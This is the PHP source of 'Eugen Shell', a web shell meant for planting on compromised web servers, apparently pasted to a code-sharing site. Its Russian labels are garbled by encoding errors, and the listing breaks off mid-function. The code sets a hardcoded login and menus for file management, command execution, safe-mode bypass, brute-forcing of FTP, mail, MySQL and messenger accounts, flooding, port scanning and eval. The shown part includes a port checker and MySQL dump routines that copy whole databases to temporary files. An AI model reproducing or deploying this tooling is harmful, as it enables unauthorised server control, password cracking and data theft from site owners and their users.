· 10 years ago · May 01, 2016, 04:00 PM
1<?php
2
3# Eugen's shell
4
5$log_in="barbos"; //КÐЦХМ
6
7$password="1234"; //ОЮПÐКÐ
8
9$hosts=array("*"); //пЮГПЕЬ╦ММШЕ ЮДПЕЯЮ: array("nas1-86.isp.com", "213.186.11.128");
10
11
12
13error_reporting(0);
14
15set_time_limit(0);
16
17ini_set("max_execution_time","0");
18
19ini_set("memory_limit","9999M");
20
21ini_set("output_buffering","0");
22
23set_magic_quotes_runtime(0);
24
25ignore_user_abort(1);
26
27$date=date("d.m.Y");
28
29$time_now=date("H:i");
30
31$_REQUEST = array_merge($_GET, $_POST);
32
33if (get_magic_quotes_gpc()){
34
35foreach ($_REQUEST as $key=>$value)
36
37{
38
39$_REQUEST[$key]=stripslashes($value);
40
41}
42
43}
44
45$act=$_REQUEST['act'];
46
47$name_img=$_REQUEST['name_img'];
48
49$dl=$_REQUEST['download'];
50
51$img=$_REQUEST['image'];
52
53if (!empty($_REQUEST['workingdir'])) chdir($_REQUEST['workingdir']);
54
55$hcwd="<input type=hidden name=workingdir value=\"".getcwd()."\">";
56
57$errorbox = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td><b>нЬХÐЙЮ: </b>";
58
59$et = "</td></tr></table>";
60
61$v="3.01 private";
62
63$msgbox="<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td align=\"center\">";
64
65$intro="<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\"><tr><td><b>ÑЙПХОР:</b><br>".str_repeat("---",25)."<br><b>мЮГБЮМХЕ:</b> Eugen Shell<br><b>бЕПЯХЪ:</b> ".$v."<br><br><b>юБРÐП:</b><br>".str_repeat("---",25)."<br><b>хЛЪ:</b> еБЦЕМХИ<br><b>ÑРПЮМЮ:</b> ÑЙПЮХМЮ<br><b>Email:</b> <a href=\"mailto:majorchik@gmail.com?subject=Shell\">majorchik@gmail.com</a>".$et."</center>";
66
67$footer=$msgbox."Eugen Shell v".$v.$et;
68
69$t = "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"40%\">";
70
71$crack="</td><td></td></tr><form method=\"POST\" name=form><tr><td width=\"20%\">ÑКÐБЮПÐ:</td><td><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\">рХО ЯКÐБЮПЪ:</td><td><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"20%\">хЛЪ:</td><td><input type=text size=35 value=root name=user></td></tr><tr><td width=\"20%\">ÑЕПБЕП:</td><td><input type=text name=target value=localhost size=35></td></tr><tr><td width=\"20%\"> </td><td align=right>".$hcwd."<input class=buttons type=submit value=ÑРЮПР></td></tr></form></table></center>";
72
73$disablefunctions = @ini_get('disable_functions');
74
75if ($_REQUEST['sec'] == "logout") {
76
77setcookie("user_name");
78
79setcookie("pass_word");
80
81header("Location: ".$_SERVER['PHP_SELF']);
82
83exit();
84
85}
86
87$style="<style>
88
89body {
90
91scrollbar-base-color: #484848;
92
93scrollbar-arrow-color: #FFFFFF;
94
95scrollbar-track-color: #969696;
96
97font-size:16px;
98
99font-family:\"Arial Narrow\";
100
101}
102
103Table {
104
105font-size: 15px;
106
107}
108
109.buttons {
110
111font-family:Verdana;
112
113font-size:10pt;
114
115font-weight:normal;
116
117font-style:normal;
118
119color:#FFFFFF;
120
121background-color:#555555;
122
123border-style:solid;
124
125border-width:1px;
126
127border-color:#FFFFFF;
128
129}
130
131textarea {
132
133border: 0px #000000 solid;
134
135background: #EEEEEE;
136
137color: #000000;
138
139}
140
141input {
142
143background: #EEEEEE;
144
145border-width:1px;
146
147border-style:solid;
148
149border-color:black;
150
151}
152
153select {
154
155background: #EEEEEE;
156
157border: 0px #000000 none;
158
159}
160
161.itemBorder { border: 1px solid black }
162
163.itemText { text-decoration: none; color: #ffffff; font: 12px Arial, Helvetica }
164
165.crazyBorder { border: 2px outset gray }
166
167.crazyText { text-decoration: none; color: #ffffff; font: Bold 12px Arial, Helvetica }
168
169</style>";
170
171$mainmenu=$style."<script>
172
173var isDOM = (document.getElementById ? true : false); var isIE4 = ((document.all && !isDOM) ? true : false);var isNS4 = (document.layers ? true : false);function getRef(id) {if (isDOM) return document.getElementById(id);if (isIE4) return document.all[id];if (isNS4) return document.layers[id];}function getSty(id) {return (isNS4 ? getRef(id) : getRef(id).style);} var popTimer = 0;var litNow = new Array();function popOver(menuNum, itemNum) {clearTimeout(popTimer);hideAllBut(menuNum);litNow = getTree(menuNum, itemNum);changeCol(litNow, true);targetNum = menu[menuNum][itemNum].target;if (targetNum > 0) {thisX = parseInt(menu[menuNum][0].ref.left) + parseInt(menu[menuNum][itemNum].ref.left);thisY = parseInt(menu[menuNum][0].ref.top) + parseInt(menu[menuNum][itemNum].ref.top);with (menu[targetNum][0].ref) {left = parseInt(thisX + menu[targetNum][0].x);top = parseInt(thisY + menu[targetNum][0].y);visibility = 'visible';}}}function popOut(menuNum, itemNum) {
174
175if ((menuNum == 0) && !menu[menuNum][itemNum].target)hideAllBut(0)
176
177else
178
179popTimer = setTimeout('hideAllBut(0)', 500);}function getTree(menuNum, itemNum) {itemArray = new Array(menu.length);while(1) {itemArray[menuNum] = itemNum;if (menuNum == 0) return itemArray;itemNum = menu[menuNum][0].parentItem;menuNum = menu[menuNum][0].parentMenu;}}function changeCol(changeArray, isOver) {for (menuCount = 0; menuCount < changeArray.length; menuCount++) {if (changeArray[menuCount]) {newCol = isOver ? menu[menuCount][0].overCol : menu[menuCount][0].backCol;with (menu[menuCount][changeArray[menuCount]].ref) {if (isNS4) bgColor = newCol;else backgroundColor = newCol;}}}}function hideAllBut(menuNum) {var keepMenus = getTree(menuNum, 1);for (count = 0; count < menu.length; count++)if (!keepMenus[count])menu[count][0].ref.visibility = 'hidden';changeCol(litNow, false);}function Menu(isVert, popInd, x, y, width, overCol, backCol, borderClass, textClass) {this.isVert = isVert;this.popInd = popInd;this.x = x;this.y = y;this.width = width;this.overCol = overCol;this.backCol = backCol;this.borderClass = borderClass;this.textClass = textClass;this.parentMenu = null;this.parentItem = null;this.ref = null;}function Item(text, href, frame, length, spacing, target) {this.text = text;this.href = href;this.frame = frame;this.length = length;this.spacing = spacing;this.target = target;this.ref = null;}function writeMenus() {if (!isDOM && !isIE4 && !isNS4) return;for (currMenu = 0; currMenu < menu.length; currMenu++) with (menu[currMenu][0]) {var str = '', itemX = 0, itemY = 0;for (currItem = 1; currItem < menu[currMenu].length; currItem++) with (menu[currMenu][currItem]) {var itemID = 'menu' + currMenu + 'item' + currItem;var w = (isVert ? width : length);var h = (isVert ? length : width);if (isDOM || isIE4) {str += '<div id=\"' + itemID + '\" style=\"position: absolute; left: ' + itemX + '; top: ' + itemY + '; width: ' + w + '; height: ' + h + '; visibility: inherit; ';if (backCol) str += 'background: ' + backCol + '; ';str += '\" ';}if (isNS4) {str += '<layer id=\"' + itemID + '\" left=\"' + itemX + '\" top=\"' + itemY + '\" width=\"' + w + '\" height=\"' + h + '\" visibility=\"inherit\" ';if (backCol) str += 'bgcolor=\"' + backCol + '\" ';}if (borderClass) str += 'class=\"' + borderClass + '\" ';str += 'onMouseOver=\"popOver(' + currMenu + ',' + currItem + ')\" onMouseOut=\"popOut(' + currMenu + ',' + currItem + ')\">';str += '<table width=\"' + (w - 8) + '\" border=\"0\" cellspacing=\"0\" cellpadding=\"' + (!isNS4 && borderClass ? 3 : 0) + '\"><tr><td align=\"left\" height=\"' + (h - 7) + '\">' + '<a class=\"' + textClass + '\" href=\"' + href + '\"' + (frame ? ' target=\"' + frame + '\">' : '>') + text + '</a></td>';if (target > 0) {menu[target][0].parentMenu = currMenu;menu[target][0].parentItem = currItem;if (popInd) str += '<td class=\"' + textClass + '\" align=\"right\">' + popInd + '</td>';}str += '</tr></table>' + (isNS4 ? '</layer>' : '</div>');if (isVert) itemY += length + spacing;else itemX += length + spacing;}if (isDOM) {var newDiv = document.createElement('div');document.getElementsByTagName('body').item(0).appendChild(newDiv);newDiv.innerHTML = str;ref = newDiv.style;ref.position = 'absolute';ref.visibility = 'hidden';}if (isIE4) {document.body.insertAdjacentHTML('beforeEnd', '<div id=\"menu' + currMenu + 'div\" ' + 'style=\"position: absolute; visibility: hidden\">' + str + '</div>');ref = getSty('menu' + currMenu + 'div');}if (isNS4) {ref = new Layer(0);ref.document.write(str);ref.document.close();}for (currItem = 1; currItem < menu[currMenu].length; currItem++) {itemName = 'menu' + currMenu + 'item' + currItem;if (isDOM || isIE4) menu[currMenu][currItem].ref = getSty(itemName);if (isNS4) menu[currMenu][currItem].ref = ref.document[itemName];}}with(menu[0][0]) {ref.left = x;ref.top = y;ref.visibility = 'visible';}}var menu = new Array();var defOver = 'gray', defBack = 'gray';var defLength = 22;menu[0] = new Array();menu[0][0] = new Menu(false, '', 5, 0, 17, 'gray', 'gray', '', 'itemText');menu[0][1] = new Item('мЮГЮД','javascript:history.back(1)', '', 90, 10, 0);menu[0][2] = new Item('PHPINFO','".hlink("sec=phpinfo")."', '', 90, 10, 0);menu[0][3] = new Item('хМТÐ','"; $cwd=str_replace("\\","\\\\",getcwd()); $mainmenu.=hlink("sec=sysinfo&workingdir=$cwd"); $mainmenu.="', '', 90, 10, 0);menu[0][4] = new Item('тЮИКШ','".hlink("sec=fm&workingdir=$cwd")."', '', 90, 10, 1);menu[0][5] = new Item('аПСР','".hlink("sec=cr&workingdir=$cwd")."', '', 90, 10, 2);menu[0][6] = new Item('ÑРХКХРШ','".hlink("sec=tools&workingdir=$cwd")."', '', 90, 10, 3);menu[0][7] = new Item('оПÐЙЯХ','".hlink("sec=px&workingdir=$cwd")."', '', 90, 10, 0);menu[0][8] = new Item('н ЯЙПХОРЕ','".hlink("sec=about&workingdir=$cwd")."', '', 90, 10, 0);menu[0][9] = new Item('бШУÐД','".hlink("sec=logout")."', '', 90, 10, 0);menu[1] = new Array();menu[1][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[1][1] = new Item('пЕДЮЙРÐП','".hlink("sec=edit&workingdir=$cwd")."', '', defLength, 0, 0);menu[1][2] = new Item('WebShell','".hlink("sec=webshell&workingdir=$cwd")."', '', defLength, 0, 0);menu[1][3] = new Item('AntiSafe mode','".hlink("sec=asm&workingdir=$cwd")."', '', defLength, 0, 0);menu[2] = new Array();menu[2][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[2][1] = new Item('Hash','".hlink("sec=hc&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][2] = new Item('SMTP','".hlink("sec=smtp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][3] = new Item('POP3','".hlink("sec=pop3&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][4] = new Item('IMAP','".hlink("sec=imap&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][5] = new Item('FTP','".hlink("sec=ftp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][6] = new Item('SNMP','".hlink("sec=snmp&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][7] = new Item('MySQL','".hlink("sec=sql&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][8] = new Item('HTTP ТÐПЛЮ','".hlink("sec=fcr&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][9] = new Item('HTTP ЮБРÐПХГЮЖХЪ','".hlink("sec=auth&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][10] = new Item('Coder','".hlink("sec=code&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][11] = new Item('ICQ ÐПСР','".hlink("sec=icq&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][12] = new Item('MRA ÐПСР','".hlink("sec=mbr&workingdir=$cwd")."', '', defLength, 0, 0);menu[2][13] = new Item('цЕМЕПЮРÐП ЯКÐБЮПЕИ','".hlink("sec=dic&workingdir=$cwd")."', '', defLength, 0, 0);menu[3] = new Array();menu[3][0] = new Menu(true, '>', 0, 22, 150, defOver, defBack, 'itemBorder', 'itemText');menu[3][1] = new Item('InetCrack','".hlink("sec=http&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][2] = new Item('тЮИКÐБШИ ТКСДЕП','".hlink("sec=fflooder&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][3] = new Item('оПÐЙЯХ-ВЕЙЕП','".hlink("sec=prc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][4] = new Item('WhoIs','".hlink("sec=whois&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][5] = new Item('PHP йПХОРÐП','".hlink("sec=cryptphp&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][6] = new Item('Converter','".hlink("sec=calc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][7] = new Item('Hash Calc','".hlink("sec=hash&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][8] = new Item('SQL','".hlink("sec=mysql&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][9] = new Item('лЕИКЕП','".hlink("sec=mailer&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][10] = new Item('Evaler','".hlink("sec=eval&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][11] = new Item('ÑЙЮМЕПШ','".hlink("sec=sc&workingdir=$cwd")."', '', defLength, 0, 0);menu[3][12] = new Item('ÑЮЛÐСДЮКЕМХЕ','".hlink("sec=selfremove&workingdir=.")."', '', defLength, 0, 0);var popOldWidth = window.innerWidth;nsResizeHandler = new Function('if (popOldWidth != window.innerWidth) location.reload()');if (isNS4) document.captureEvents(Event.CLICK);document.onclick = clickHandle;function clickHandle(evt){if (isNS4) document.routeEvent(evt);hideAllBut(0);}function moveRoot(){with(menu[0][0].ref) left = ((parseInt(left) < 100) ? 100 : 5);}
180
181</script>";
182
183$tmp=array();
184
185foreach ($hosts as $k=>$v)
186
187$tmp[]=str_replace("\\*",".*",preg_quote($v));
188
189$ssd="!^(".implode("|",$tmp).")$!i";
190
191if (!preg_match($ssd,getenv("REMOTE_ADDR")) && !preg_match($ssd,gethostbyaddr(getenv("REMOTE_ADDR")))) {
192
193die("<html>
194
195<head>
196
197".$style."
198
199<title>Eugen Shell</title>
200
201</head>
202
203<body text=\"#ffffff\" bgcolor=\"#181818\" link=\"#DCDCDC\" vlink=\"#DCDCDC\" alink=\"#DCDCDC\" onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\">
204
205<center><br><h1>Sorry</h1><br><h1>Access denied from your IP</h1></center>
206
207</body></html>");
208
209}
210
211$loginlogin=array_merge($_COOKIE,$_POST);
212
213if ($log_in != false) {
214
215if ($loginlogin['user_name'] != $log_in || $loginlogin['pass_word'] != $password) {
216
217die("<html>
218
219<head>
220
221".$style."
222
223<title>Eugen Shell</title>
224
225</head>
226
227<body text=\"#ffffff\" bgcolor=\"#181818\" link=\"#DCDCDC\" vlink=\"#DCDCDC\" alink=\"#DCDCDC\" onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\">
228
229<center><br><h1>Authorization</h1><br>
230
231<form action=\"".$_SERVER['PHP_SELF']."\" method=post>
232
233Login:<br><input type=text name=user_name><br><br>
234
235Password:<br><input type=password name=pass_word><br><br>
236
237<input type=submit value=\"Log in\">
238
239</form>
240
241</center>
242
243</body></html>");
244
245} else {
246
247if (!$_COOKIE['user_name']) {
248
249setcookie("user_name",$log_in);
250
251setcookie("pass_word",$password);
252
253}}}
254
255function get_file_ext($file) {
256
257$file=strtolower($file);
258
259if (strstr($file,".")) {
260
261$d=strlen($file);
262
263$ext="";
264
265while($file[$d]!=".") {
266
267$ext=$file[$d].$ext; $d--; }
268
269return $ext;
270
271} else {
272
273return $file;
274
275}
276
277}
278
279if ($act == "img") {
280
281unset($img);
282
283$img=array(
284
285'dir'=>
286
287'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'.
288
289'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'.
290
291'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=',
292
293'exe'=>
294
295'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'.
296
297'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'.
298
299'xhIAOw==',
300
301'html'=>
302
303'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'.
304
305'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'.
306
307'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'.
308
309'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'.
310
311'ADs=',
312
313'txt'=>
314
315'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'.
316
317'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'.
318
319'UpPWG3Ig6Hq/XmRjuZwkAAA7',
320
321'unk'=>
322
323'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'.
324
325'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'.
326
327'yUzYbJao6npVkQQAOw==',
328
329'php'=>
330
331'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'.
332
333'7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'.
334
335'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'.
336
337'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==',
338
339'img'=>
340
341'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'.
342
343'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'.
344
345'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'.
346
347'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw=='
348
349);
350
351header("Content-type: image/gif");
352
353die (base64_decode($img[$name_img]));
354
355}
356
357class ICQclient
358
359{
360
361var $socket, $server, $port, $connected;
362
363var $uin, $password, $logged;
364
365var $client = array(), $sequence, $TLV = array();
366
367var $uin_sendto, $message;
368
369function ICQclient($uin, $password)
370
371{
372
373$this->server = "login.icq.com";
374
375$this->port = 5190;
376
377$this->uin = (string)$uin;
378
379$this->password = $password;
380
381$this->client = array("name" => "qip", "country" => "ru", "language" => "ru", "major" => 1, "minor" => 0, "lesser" => 0, "build" => 1);
382
383}
384
385function connect()
386
387{
388
389$this->socket = @fsockopen($this->server, $this->port);
390
391if (!$this->socket) return false;
392
393else {
394
395$this->connected = true;
396
397return true;
398
399}
400
401}
402
403function connect_migration()
404
405{
406
407list($server, $port) = explode(":", $this->TLV[0x05]);
408
409$this->socket = @fsockopen($server, $port);
410
411}
412
413function login()
414
415{
416
417if (!$this->connected) $this->connect();
418
419if (!$this->connected) return false;
420
421$this->receive_packet();
422
423$this->sequence = rand(0x0000, 0xFFFF);
424
425$this->send_packet("login");
426
427$SNAC = $this->receive_packet();
428
429$this->parse_SNAC($SNAC);
430
431if (!(@$this->TLV[0x05] and @$this->TLV[0x06])) return false;
432
433$this->connect_migration();
434
435$this->send_packet("cookie");
436
437$this->receive_packet();
438
439$this->send_packet("ready");
440
441$this->receive_packet();
442
443$this->logged = true;
444
445return true;
446
447}
448
449function send_message($uin, $message)
450
451{
452
453if (!$this->logged) return false;
454
455$this->uin_sendto = $uin;
456
457$this->message = $message;
458
459$this->send_packet("message");
460
461$this->receive_packet();
462
463return true;
464
465}
466
467function send_packet($type)
468
469{
470
471list($channel, $SNAC) = $this->gen_SNAC($type);
472
473$FLAP = pack("CCnn", 0x2A, $channel, $this->sequence, strlen($SNAC));
474
475$packet = $FLAP.$SNAC;
476
477@fwrite($this->socket, $packet);
478
479$this->sequence++;
480
481if ($this->sequence == 0xFFFF) $this->sequence = 0x0000;
482
483}
484
485function receive_packet()
486
487{
488
489$FLAP = @fread($this->socket, 6);
490
491list(, $length) = @unpack("n", substr($FLAP, 4, 2));
492
493$SNAC = @fread($this->socket, $length);
494
495$packet = $FLAP.$SNAC;
496
497return $SNAC;
498
499}
500
501function gen_SNAC($type)
502
503{
504
505if ($type == "login") {
506
507$SNAC =
508
509pack("N", 1).
510
511$this->gen_TLV(0x01, $this->uin).
512
513$this->gen_TLV(0x02, xor_encrypt($this->password)).
514
515$this->gen_TLV(0x03, $this->client["name"]).
516
517$this->gen_TLV(0x16, 266, 2).
518
519$this->gen_TLV(0x17, $this->client["major"], 2).
520
521$this->gen_TLV(0x18, $this->client["minor"], 2).
522
523$this->gen_TLV(0x19, $this->client["lesser"], 2).
524
525$this->gen_TLV(0x1A, $this->client["build"], 2).
526
527$this->gen_TLV(0x14, 85, 4).
528
529$this->gen_TLV(0x0F, $this->client["language"]).
530
531$this->gen_TLV(0x0E, $this->client["country"]);
532
533$channel = 1;
534
535}
536
537if ($type == "cookie") {
538
539$SNAC =
540
541pack("N", 1).
542
543$this->gen_TLV(0x06, $this->TLV[0x06]);
544
545$channel = 1;
546
547}
548
549if ($type == "ready") {
550
551$SNAC =
552
553"\x00\x01\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x03\x01\x10".
554
555"\x02\x8A\x00\x02\x00\x01\x01\x01\x02\x8A\x00\x03\x00\x01\x01\x10".
556
557"\x02\x8A\x00\x15\x00\x01\x01\x10\x02\x8A\x00\x04\x00\x01\x01\x10".
558
559"\x02\x8A\x00\x06\x00\x01\x01\x10\x02\x8A\x00\x09\x00\x01\x01\x10".
560
561"\x02\x8A\x00\x0A\x00\x01\x01\x10\x02\x8A";
562
563$channel = 2;
564
565}
566
567if ($type == "message") {
568
569$this->TLV[0x0501] = pack("C", 1);
570
571$this->TLV[0x0101] = pack("N", 0).$this->message;
572
573$this->TLV[0x02] =
574
575$this->gen_TLV(0x0501, $this->TLV[0x0501]).
576
577$this->gen_TLV(0x0101, $this->TLV[0x0101]);
578
579$SNAC =
580
581pack("nnnNdnca*", 0x04, 0x06, 0, 0, microtime(), 1, strlen($this->uin_sendto), $this->uin_sendto).
582
583$this->gen_TLV(0x02, $this->TLV[0x02]).
584
585$this->gen_TLV(0x06, "");
586
587$channel = 2;
588
589}
590
591return array($channel, $SNAC);
592
593}
594
595function parse_SNAC($SNAC)
596
597{
598
599unset($this->TLV);
600
601while (strlen($SNAC) > 0) {
602
603list(, $type, $length) = unpack("n2", substr($SNAC, 0, 4));
604
605$this->TLV[$type] = substr($SNAC, 4, $length);
606
607$SNAC = substr($SNAC, 4+$length);
608
609}
610
611}
612
613function gen_TLV($type, $value, $length=false)
614
615{
616
617switch ($length) {
618
619case 1: $format = "C"; break;
620
621case 2: $format = "n"; break;
622
623case 4: $format = "N"; break;
624
625default: $format = "a*"; break;
626
627}
628
629if ($length === false) $length = strlen($value);
630
631return pack("nn".$format, $type, $length, $value);
632
633}
634
635}
636
637function xor_encrypt($password)
638
639{
640
641 $roast = "\xf3\x26\x81\xc4\x39\x86\xdb\x92\x71\xa3\xb9\xe6\x53\x7a\x95\x7c";
642
643 $xored = "";
644
645 for ($i=0; $i<strlen($password); $i++) $xored .= chr(ord($roast[$i]) ^ ord($password[$i]));
646
647 return $xored;
648
649}
650
651function hlink($str="") {
652
653$ret = $_SERVER['PHP_SELF']."?";
654
655return $ret.$str;
656
657}
658
659function checkthisport($ip,$port,$timeout){
660
661$scan=fsockopen($ip,$port,$n,$s,$timeout);
662
663if($scan) { fclose($scan); return 1; }
664
665return 0;
666
667}
668
669if ($_REQUEST['sec']=='mysql') {
670
671function strips(&$el) {
672
673if (is_array($el)) {
674
675foreach($el as $k=>$v) {
676
677if($k!='GLOBALS') {
678
679strips($el[$k]);
680
681}
682
683}
684
685} else {
686
687$el = stripslashes($el);
688
689}
690
691}
692
693function download($file, $type = false, $name = false, $down = false) {
694
695if(!file_exists($file)) exit;
696
697if(!$name) $name = basename($file);
698
699if($down) $type = "application/force-download";
700
701else if(!$type) $type = "application/download";
702
703$disp = $down ? "attachment" : "inline";
704
705header("Content-disposition: ".$disp."; filename=".$name);
706
707header("Content-length: ".filesize($file));
708
709header("Content-type: ".$type);
710
711header("Connection: close");
712
713header("Expires: 0");
714
715set_time_limit(0);
716
717readfile($file);
718
719unlink($file);
720
721exit;
722
723}
724
725function send_header() {
726
727header("Content-type: image/gif");
728
729header("Cache-control: public");
730
731header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
732
733header("Cache-control: max-age=".(60*60*24*7));
734
735header("Last-Modified: ".date("r",filemtime(__FILE__)));
736
737}
738
739$self=$HTTP_SERVER_VARS['PHP_SELF'];
740
741if(!ini_get("register_globals")){
742
743import_request_variables("GPC");
744
745}
746
747if (get_magic_quotes_gpc()) strips($GLOBALS);
748
749if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
750
751$file = "C:\\dump_".$db.".sql";
752
753$p_v=$SystemRoot."\my.ini";
754
755$os="win";
756
757} else {
758
759$file = "/tmp/dump_".$db.".sql";
760
761$p_v="/etc/passwd";
762
763}
764
765if ($_REQUEST['send']=='send_http') {
766
767if ($_REQUEST['strukt']=='d_strukt_bd' && $_REQUEST['dump']=='bd'){
768
769$host = $HTTP_SERVER_VARS["SERVER_NAME"];
770
771$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
772
773$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
774
775mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
776
777if (sizeof($tabs) == 0) {
778
779$res = mysql_query("SHOW TABLES FROM $db", $connection);
780
781if (mysql_num_rows($res) > 0) {
782
783while ($row = mysql_fetch_row($res)) {
784
785$tabs[] .= $row[0];
786
787}
788
789}
790
791}
792
793$fp = fopen($file, "w");
794
795fputs ($fp, "# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
796
797date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n");
798
799foreach($tabs as $tab) {
800
801if ($add_drop) {
802
803fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n");
804
805}
806
807$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error());
808
809$row = mysql_fetch_row($res);
810
811fputs($fp, $row[1].";\n\n");
812
813$res = mysql_query("SELECT * FROM `$tab`", $connection);
814
815if (mysql_num_rows($res) > 0) {
816
817while ($row = mysql_fetch_assoc($res)) {
818
819$keys = implode("`, `", array_keys($row));
820
821$values = array_values($row);
822
823foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
824
825$values = implode("', '", $values);
826
827$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
828
829fputs($fp, $sql);
830
831}
832
833}
834
835fputs ($fp, "#---------------------------------------------------------------------------------\n\n");
836
837}
838
839fclose($fp);
840
841}
842
843if ($_REQUEST['strukt']=='d_strukt'){
844
845$host = $HTTP_SERVER_VARS["SERVER_NAME"];
846
847$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
848
849$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
850
851mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
852
853$fp = fopen($file, "w");
854
855fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
856
857date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
858
859$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
860
861$row = mysql_fetch_row($res);
862
863fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
864
865fputs($fp, $row[1].";\n\n");
866
867$res = mysql_query("SELECT * FROM `$tbl`", $connection);
868
869if (mysql_num_rows($res) > 0) {
870
871while ($row = mysql_fetch_assoc($res)) {
872
873$keys = implode("`, `", array_keys($row));
874
875$values = array_values($row);
876
877foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
878
879$values = implode("', '", $values);
880
